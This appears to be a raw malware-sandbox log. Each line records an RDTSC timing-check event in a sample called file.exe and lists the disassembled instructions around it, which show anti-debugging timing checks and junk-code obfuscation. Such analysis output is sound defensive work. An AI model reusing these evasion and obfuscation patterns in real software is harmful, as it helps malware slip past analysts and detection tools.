Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B89B3 second address: 109B836 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], eax 0x0000000a mov edx, 2C9C9E00h 0x0000000f or cx, C936h 0x00000014 call dword ptr [ebp+122D2A15h] 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8A56 second address: 10B8A5A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8A5A second address: 10B8A60 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8EB1 second address: 10B8EB5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8F55 second address: 10B8F59 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8F59 second address: 10B8F74 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 xor dword ptr [esp], 5D26E757h 0x0000000d mov cx, ax 0x00000010 push 7F2CF3C7h 0x00000015 pushad 0x00000016 pushad 0x00000017 pushad 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8F74 second address: 10B8F88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007F3AD131504Dh 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B8F88 second address: 10B8F8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B968C second address: 10B9690 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9690 second address: 10B96A1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 pushad 0x00000009 push eax 0x0000000a push edx 0x0000000b pop edx 0x0000000c pop eax 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 pop eax 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9827 second address: 10B982C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B99B5 second address: 10B99E4 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3AD12BE09Ch 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b jne 00007F3AD12BE0A0h 0x00000011 mov eax, dword ptr [esp+04h] 0x00000015 push eax 0x00000016 push edx 0x00000017 push esi 0x00000018 jne 00007F3AD12BE096h 0x0000001e pop esi 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B99E4 second address: 10B99EE instructions: 0x00000000 rdtsc 0x00000002 jnp 00007F3AD131504Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B99EE second address: 10B9A04 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 mov eax, dword ptr [eax] 0x00000008 jo 00007F3AD12BE0B3h 0x0000000e push eax 0x0000000f push edx 0x00000010 jnc 00007F3AD12BE096h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9AF6 second address: 10B9AFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9AFA second address: 10B9B39 instructions: 0x00000000 rdtsc 0x00000002 jnc 00007F3AD12BE0AAh 0x00000008 jmp 00007F3AD12BE0A4h 0x0000000d pop edx 0x0000000e pop eax 0x0000000f nop 0x00000010 mov edx, dword ptr [ebp+122D36D4h] 0x00000016 mov edi, 67B3D048h 0x0000001b lea eax, dword ptr [ebp+1248E741h] 0x00000021 sbb cx, 7771h 0x00000026 nop 0x00000027 pushad 0x00000028 jg 00007F3AD12BE09Ch 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9B39 second address: 10B9BA0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F3AD131505Ch 0x0000000a popad 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 pushad 0x00000011 popad 0x00000012 popad 0x00000013 pop edx 0x00000014 nop 0x00000015 push 00000000h 0x00000017 push edi 0x00000018 call 00007F3AD1315048h 0x0000001d pop edi 0x0000001e mov dword ptr [esp+04h], edi 0x00000022 add dword ptr [esp+04h], 00000017h 0x0000002a inc edi 0x0000002b push edi 0x0000002c ret 0x0000002d pop edi 0x0000002e ret 0x0000002f lea eax, dword ptr [ebp+1248E6FDh] 0x00000035 jno 00007F3AD131504Ch 0x0000003b push eax 0x0000003c push eax 0x0000003d push edx 0x0000003e push edi 0x0000003f jne 00007F3AD1315046h 0x00000045 pop edi 0x00000046 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9BA0 second address: 109C3C6 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push ecx 0x00000004 pop ecx 0x00000005 pop edi 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esp], eax 0x0000000b push 00000000h 0x0000000d push eax 0x0000000e call 00007F3AD12BE098h 0x00000013 pop eax 0x00000014 mov dword ptr [esp+04h], eax 0x00000018 add dword ptr [esp+04h], 0000001Bh 0x00000020 inc eax 0x00000021 push eax 0x00000022 ret 0x00000023 pop eax 0x00000024 ret 0x00000025 xor dword ptr [ebp+12483B77h], ebx 0x0000002b call dword ptr [ebp+122D291Ch] 0x00000031 jmp 00007F3AD12BE0A7h 0x00000036 pushad 0x00000037 push ecx 0x00000038 push eax 0x00000039 push edx 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0ACB second address: 10F0ADD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3AD131504Eh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F0FDC second address: 10F0FE0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F1142 second address: 10F1150 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jne 00007F3AD1315046h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F140C second address: 10F1420 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AD12BE09Fh 0x00000009 pop edi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F1420 second address: 10F1476 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edx 0x00000004 pop edx 0x00000005 pushad 0x00000006 popad 0x00000007 jmp 00007F3AD1315054h 0x0000000c jmp 00007F3AD1315057h 0x00000011 popad 0x00000012 pop edx 0x00000013 pop eax 0x00000014 jo 00007F3AD131506Bh 0x0000001a jmp 00007F3AD1315055h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 popad 0x00000023 push eax 0x00000024 pop eax 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4604 second address: 10F4608 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4608 second address: 10F4637 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AD131504Dh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push edx 0x0000000c jmp 00007F3AD1315056h 0x00000011 pop edx 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F4637 second address: 10F463B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F463B second address: 10F4652 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD1315053h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F8849 second address: 10F8860 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 ja 00007F3AD12BE09Ch 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 popad 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10F8860 second address: 10F886A instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F3AD1315046h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC32A second address: 10FC32E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FC32E second address: 10FC332 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FF104 second address: 10FF149 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pushad 0x00000009 js 00007F3AD12BE096h 0x0000000f jmp 00007F3AD12BE0A5h 0x00000014 push esi 0x00000015 pop esi 0x00000016 popad 0x00000017 jmp 00007F3AD12BE0A4h 0x0000001c popad 0x0000001d je 00007F3AD12BE0AAh 0x00000023 pushad 0x00000024 push eax 0x00000025 push edx 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FEA4D second address: 10FEA6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD1315054h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10FEA6A second address: 10FEA71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 popad 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 107A9B7 second address: 107A9E0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jns 00007F3AD1315046h 0x0000000a popad 0x0000000b jbe 00007F3AD131505Eh 0x00000011 jmp 00007F3AD1315052h 0x00000016 je 00007F3AD1315046h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1103778 second address: 1103783 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jno 00007F3AD12BE096h 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11038C8 second address: 11038D2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106A02A second address: 106A049 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD12BE0A9h 0x00000007 pushad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 106A049 second address: 106A053 instructions: 0x00000000 rdtsc 0x00000002 jp 00007F3AD131504Ch 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11063D8 second address: 11063DC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11063DC second address: 11063E9 instructions: 0x00000000 rdtsc 0x00000002 jg 00007F3AD1315046h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11063E9 second address: 1106406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007F3AD12BE0A4h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106406 second address: 110640A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110640A second address: 1106410 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110659B second address: 11065BB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edx 0x00000006 jmp 00007F3AD1315059h 0x0000000b pop edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1106719 second address: 110671D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B23B second address: 110B245 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B245 second address: 110B24B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B24B second address: 110B24F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B24F second address: 110B255 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B255 second address: 110B25A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B3DC second address: 110B3E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B3E1 second address: 110B3F9 instructions: 0x00000000 rdtsc 0x00000002 jng 00007F3AD131504Eh 0x00000008 jo 00007F3AD131504Eh 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B52D second address: 110B533 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B949B second address: 10B94A5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 pushad 0x00000007 push ecx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B94A5 second address: 10B953F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 jmp 00007F3AD12BE09Ah 0x0000000a popad 0x0000000b nop 0x0000000c mov ecx, dword ptr [ebp+122D291Ch] 0x00000012 mov ebx, dword ptr [ebp+1248E73Ch] 0x00000018 push 00000000h 0x0000001a push ebx 0x0000001b call 00007F3AD12BE098h 0x00000020 pop ebx 0x00000021 mov dword ptr [esp+04h], ebx 0x00000025 add dword ptr [esp+04h], 00000017h 0x0000002d inc ebx 0x0000002e push ebx 0x0000002f ret 0x00000030 pop ebx 0x00000031 ret 0x00000032 jl 00007F3AD12BE09Ch 0x00000038 mov edx, dword ptr [ebp+122D348Eh] 0x0000003e jmp 00007F3AD12BE09Fh 0x00000043 add eax, ebx 0x00000045 push 00000000h 0x00000047 push eax 0x00000048 call 00007F3AD12BE098h 0x0000004d pop eax 0x0000004e mov dword ptr [esp+04h], eax 0x00000052 add dword ptr [esp+04h], 00000017h 0x0000005a inc eax 0x0000005b push eax 0x0000005c ret 0x0000005d pop eax 0x0000005e ret 0x0000005f mov ecx, dword ptr [ebp+122D1AB6h] 0x00000065 jmp 00007F3AD12BE09Dh 0x0000006a nop 0x0000006b push eax 0x0000006c push edx 0x0000006d push ebx 0x0000006e jmp 00007F3AD12BE09Ah 0x00000073 pop ebx 0x00000074 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B953F second address: 10B9552 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD131504Ah 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push esi 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 10B9552 second address: 10B958E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnc 00007F3AD12BE096h 0x0000000a popad 0x0000000b pop esi 0x0000000c nop 0x0000000d mov di, cx 0x00000010 push 00000004h 0x00000012 adc dx, 68C4h 0x00000017 nop 0x00000018 js 00007F3AD12BE0ADh 0x0000001e push eax 0x0000001f push eax 0x00000020 push edx 0x00000021 push edx 0x00000022 push edi 0x00000023 pop edi 0x00000024 pop edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B6BA second address: 110B6CA instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push edx 0x0000000a jns 00007F3AD1315046h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 110B6CA second address: 110B6CE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1114121 second address: 111412D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 jne 00007F3AD1315046h 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112217 second address: 111221B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11127DD second address: 11127E2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112B0C second address: 1112B1C instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pushad 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d popad 0x0000000e push ecx 0x0000000f pop ecx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1112B1C second address: 1112B20 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1117B79 second address: 1117B98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 jmp 00007F3AD12BE0A5h 0x0000000b push edi 0x0000000c pop edi 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1117FFB second address: 1118004 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1118004 second address: 1118008 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11181BA second address: 11181C5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnl 00007F3AD1315046h 0x0000000a popad 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 11181C5 second address: 11181CF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jng 00007F3AD12BE096h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 111D063 second address: 111D07D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F3AD1315056h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124751 second address: 1124773 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007F3AD12BE096h 0x0000000a pop edi 0x0000000b push ebx 0x0000000c jmp 00007F3AD12BE09Fh 0x00000011 pop ebx 0x00000012 popad 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124773 second address: 1124777 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124777 second address: 112477B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124B50 second address: 1124B69 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD1315055h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124B69 second address: 1124B6F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124E6C second address: 1124E97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F3AD131504Bh 0x00000009 popad 0x0000000a push ebx 0x0000000b jmp 00007F3AD131504Eh 0x00000010 pop ebx 0x00000011 popad 0x00000012 jo 00007F3AD131505Eh 0x00000018 push eax 0x00000019 push edx 0x0000001a push ebx 0x0000001b pop ebx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124E97 second address: 1124E9B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1124FE0 second address: 1125007 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F3AD131504Eh 0x00000007 jmp 00007F3AD131504Ch 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jng 00007F3AD1315046h 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125F58 second address: 1125F5C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125F5C second address: 1125F76 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007F3AD1315050h 0x0000000d push edx 0x0000000e pop edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1125F76 second address: 1125F91 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push ecx 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F3AD12BE09Dh 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112950E second address: 1129518 instructions: 0x00000000 rdtsc 0x00000002 jl 00007F3AD1315046h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1129518 second address: 1129522 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1129522 second address: 1129528 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 1129528 second address: 112952C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112EBD5 second address: 112EBDB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E8C0 second address: 112E8C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 112E8C4 second address: 112E8E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007F3AD1315046h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c popad 0x0000000d pushad 0x0000000e push esi 0x0000000f jmp 00007F3AD131504Ch 0x00000014 push eax 0x00000015 push edx 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 113BE70 second address: 113BE98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 jmp 00007F3AD12BE0A7h 0x0000000c push eax 0x0000000d push edx 0x0000000e jc 00007F3AD12BE096h 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
